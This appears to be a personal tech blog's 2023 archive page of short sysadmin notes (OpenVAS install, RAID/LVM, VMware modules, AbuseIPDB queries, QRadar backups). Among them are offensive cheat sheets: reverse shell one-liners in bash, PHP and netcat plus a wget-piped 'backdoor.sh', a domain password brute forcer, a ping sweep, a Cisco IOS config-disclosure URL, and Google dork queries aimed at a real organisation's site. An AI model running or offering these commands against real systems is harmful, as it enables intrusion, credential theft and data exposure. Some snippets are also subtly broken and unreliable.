發表文章

目前顯示的是 2023的文章

Install OpenVAS/GVM on Parrot Linux

圖片
1. Login Parrot Linux 2. sudo apt-get update 3. sudo apt-get install gvm 4. sudo gvm-setup                   5.sudo gvm-check-setup  create web service at https://127.0.0.1:9392 6. create gvm user sudo runuser -u _gvm -- gvmd --create-user=Admin --new-password=your_pass 7. login website https://127.0.0.1:9392

Create raid-0 or lvm on CentOS 8

圖片
 1. lsblk 2.gdisk /dev/sdf => n => enter => enter => enter => enter => w  # for whole volume   gdisk /dev/sdg => n => enter => enter => enter => enter  => w  # for whole volume 4. lsblk 5. mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdf1 /dev/sdg1 6. mkfs -t xfs  /dev/md0  7. lsblk # lvm 5-1. pvcreate /dev/sdf1 6-1. pvcreate /dev/sdg1 7-1. vgcreate saspool /dev/sdf1 /dev/sdg1 8-1 vgdisplay     9-1. lvcreate --size 523.88TB --name lv02 saspool 10-1. lvscan 10-2 lvdisplay /dev/saspool/lv02 11.  mkfs -t xfs  /dev/saspool/lv02 12. mount /dev/saspool/lv02 /home_sas # remeber to add /etc/fstab 13.   df -h   14 lsblk  

harvesting "index of" and "parent direcotory" by Google search

site:tii.org.tw intitle:"index of" "parent directory" inurl:/administrator/index.php filetype:xlsx intitle:vitae link:bot.com.tw cache:www.tii.org.tw

Search file with find on Linux

$ find . -type f -size +1000M. # search file which bigger than 1GB $ find / -type f -size +1000G  # search file which bigger than 1TB $ find / -type f -size -10000G -size +1000G | xargs -0 ls -lh # 1T < file size < 10T references $ find / -type f -size +1000G -ls https://ostechnix.com/find-files-bigger-smaller-x-size-linux/

Print newline Message on Excel VBA

圖片
 # vbNewLine and vbCrLf First MsgBox  Second MsgBox  Third MsgBox

VMware workstation pro 16.2.5 with Kernel 5.19.0-32-generic Ubuntu 22.04.1

圖片
#when vmmon and vmnet error # git clone https://gitub.com/mkubecek/vmware-host/modules.git cd vmware-host-modules git checkout workstation-16.2.5 sudo make sudo make install sudo systemctl restart vmware references  https://github.com/mkubecek/vmware-host-modules

AbuseIPDB API query with Powershell

#Powershell version $myparams = @{ ipAddress="xxx.xxx.xxx.xxx" maxAgeInDays="90" verbose="verbose" } $myheaders = @{ Key = "your API Key of AbuseIPDB" Accept="application/json" } $result = (Invoke-WebRequest -uri https://api.abuseipdb.com/api/v2/check -Method get -ContentType application/x-www-form-urlencode -Body $myparams -Headers $myheaders) $obj=(ConvertForm-Json $result) write-host "---------------------------------------------------------------" write-host  "IP: " $obj.data.ipaddress write-host  "Domain: "$obj.data.domain write-host "Country: "$obj.data.countryName write-host "ISP: "$obj.data.isp write-host "AbuseConfidenceScore: "$obj.data.abuseConfidenceScore"%" write-host "------------------------------------------------------------" #Curl version: Ex1. from AbuseIPDB document curl -G https://api.abuseipdb.com/api/v2/check \ --data-urlencode &q

reverse shell

 wget http://<hacked server>/backdoor.sh -O | sh xterm xterm -display 10.0.0.1:1 @ start listener: xnest :1 @add permission to connect: xhost +victimIP php php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3"); ' Bash bash -i >& /dev/tcp/10.0.0.1/880 0>&1 netcat nc 10.0.0.1 1234 -e /bin/sh nc 10.0.0.1 1234 -e cmd.exe

Nested for ping sweep

 for /L %i (10,1,254) do @ (for /L %x in (10,1,254) do @ ping -n 1 -w 100 10.10.%i.%x 2>nul | find "Reply" && echo 10.10.%i.%x >> alive_ip.txt Domain brute forcer for /F %n in (names.txt) do for /F %p in (pawds.txt) do net use \\DC01\IPC$ \\DC01\IPC$ > NUL dns reverse lookup for /L %i in (100,1,105) do @ nslookup 1.1.1.%i | findstr /i /c:"Name" >> dns.txt && echo Server: 1.1.1.%i >> dns.txt CISCO IOS 11.2-12.2 http://<ip>/level/<16-99>/exec/show/config

Backup IBM Qradar 7.4.2 file to IBM AIX 7.2

# from QRadar EP terminal ssh-keygen -t rsa ssh-copy-id user@AIX. # not work ## then we try to use expect program method # touch scp.exp and input content of follows  #!/usr/bin/expect set filename [lindex $argv 0] spawn scp  -r $filename user@AIX:~ expect {  "(yes/no)?" { send "yes\n"}  "*password:" { send "yourpass\n";exp_continue} } interact expect eof #touch backup.sh for filename in $(ls *) do ./scp.exp $filename done

Prevent Screen Saver from idle ten minute with power shell script

Clear-Host Echo "Keep-alive with mouse Jitter..." Add-Type -AssemblyName System.Windows.Forms while($true) {     $mouse_position = [System.Windows.Forms.Cursor]::Position $x = ($mouse_position.X % 1024) + 1 $y = ($mouse_position.Y % 1024) + 1 [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x,$y) Start-Sleep -Seconds 300 } #@combine mouse jitter and scroll lock Clear-Host Echo "Keep-alive with mouse Jitter and scroll lock..." Add-Type -AssemblyName System.Windows.Forms $wsshell = New-Object -com "Wscript.Shell" while($true) {     $mouse_position = [System.Windows.Forms.Cursor]::Position $x = ($mouse_position.X % 1024) + 1 $y = ($mouse_position.Y % 1024) + 1 [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x,$y) Start-Sleep -Seconds 59 $wsshell.sendkeys("{SCROLLLOCK}") Start-Sleep -Milliseconds 59000 $wsshell.sendkeys("{SCROLLLOCK}") Start